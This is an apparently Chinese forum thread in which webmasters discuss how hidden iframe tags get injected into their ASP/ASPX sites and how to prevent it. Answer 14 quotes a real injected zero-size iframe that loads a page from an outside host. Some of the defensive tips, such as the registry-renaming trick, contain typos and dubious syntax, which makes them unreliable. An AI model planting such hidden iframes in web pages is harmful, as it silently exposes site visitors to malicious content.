我的网站页面里被人放入了<iframe src="">这样一段代码，请问是如何作到的。

Question

我的网站页面里经常被人放入了<iframe src="">这样一段代码，请问是他们如何作到的。我要如何才能有效的防止呢？谢谢大家。

Answer 1

<iframe src="">
可以连接到其它的网页...如有病毒的网页?
你的机子不安全?

Answer 2

所有开启了 smartnavigation 的页面都有这样一行。不知道你说的那行的具体内容是什么? 瑞星有那么霸道吗？

Answer 3

防止被人frame
<SCRIPT LANGUAGE=JAVASCRIPT><!-- 
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>

Answer 4

而且我的所有页面也几乎都有自定义的这么一行，因为我需要页面每隔一分钟就在另一个iframe中自动提交一下用户连线状态。还是那个问题：瑞星真的连这个是否是病毒都不知道具体分辨吗？

Answer 5

<iframe src="">这样一段代码应该不是病毒，而是病毒故意添加上去的

Answer 6

这个iframe包含的页面，单独浏览时瑞星会提示，说明这个页面含有病毒！

Answer 7

可能是的，很多页面被插入了<iframe src="">，src的页面带病毒

Answer 8

一般它是找你的conn.asp文件好的方法就是改掉conn.asp这个文件名称<iframe src="">单这个不是病毒，这个是当那人想在你的网站打开的时候同时把他自己的网站也打开

Answer 9

我的网站也遇到这个问题。是病毒。我初步判断是上传文件的原因。我那网站兼容asp和aspx。原来有asp的上传组件。几乎天天被植入病毒。后来我把那个控件改成.net的aspx的上传控件。就没有病毒了。可最近突然有感染了几回，我不知道是什么原因，可能还有其他的漏洞。

Answer 10

是啊，我和你一样，也是兼容asp和aspx，有文件上传的，都不知道是如何写进去的。郁闷啊

Answer 11

1.虚拟主机权限没有设置好.被别人从另外的站傍注.然后改了你的文件
2.自己的站本身有漏动.被别人上传了木马改了页面
 一般出现这个都是被加上了src指向的就是带病毒的网页

Answer 12

告诉大家一个防止文件上传的好方法（当然有个前提，必须是自己的服务器）
在你的服务器注册表中的HKEY_CLASSSE_ROOT中找到Scripting.FileSystemObject
这个组件名，然后修改他，以后你的上传程序里面就用你修改后的来定义
例如：Scripting.FileSystemObjectljj
那么以后定义就写为set FSO=objectcreate(Scripting.FileSystemObjectljj)
只有这样才能上传，否则…………

Answer 13

99.99%被人黑了!!!
79.99% 你网站有漏洞，通过你网站注入!
20% 是你系统有漏洞，未打全补丁，或开放了不必要的端口，用xscan扫一下!另0.01我也不知道了!

Answer 14

我的网站里也发现了这个内容:
<iframe src="http://www.u178.com/fly/abcd.htm" width="0" height="0" scrolling="no" frameborder="0"></iframe>